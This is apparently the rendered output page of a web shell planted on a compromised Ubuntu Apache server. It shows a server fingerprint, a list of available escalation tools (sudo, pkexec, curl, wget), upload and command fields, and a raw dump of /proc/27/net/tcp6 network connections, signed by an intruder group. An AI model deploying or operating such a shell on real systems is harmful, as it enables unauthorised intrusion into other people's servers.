NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.172
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/27/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/27/net//tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28186859 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 54035 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28186863 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ACD849D8:627B 06 00000000:00000000 03:0000116D 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00008F331B25:6954 06 00000000:00000000 03:000003C8 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00004FCFAB14:BBDE 06 00000000:00000000 03:00000FAA 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ACD849D8:17D5 06 00000000:00000000 03:00001164 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ACD849D8:A396 01 00000816:00000000 01:00000005 00000000    33        0 38803189 4 0000000000000000 22 5 27 10 -1
   8: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ACD849D8:BBC3 06 00000000:00000000 03:0000114E 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00008F331B25:5208 05 00000000:00000000 03:0000176E 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ACD849D8:FF65 01 0000009E:00000000 01:00000005 00000000    33        0 38804057 4 0000000000000000 22 4 29 10 -1
  11: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ACD849D8:4C95 06 00000000:00000000 03:00001326 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00004FCFAB14:CAD0 06 00000000:00000000 03:000002AD 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00008F331B25:AECA 06 00000000:00000000 03:00000F8B 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ACD849D8:BB1F 06 00000000:00000000 03:00001176 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ACD849D8:C5F1 06 00000000:00000000 03:000016BC 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00008F331B25:891A 01 00000000:00000000 02:000AFBC8 00000000    33        0 38804054 2 0000000000000000 31 4 27 10 -1

Anon7 - 2022
AnonSec Team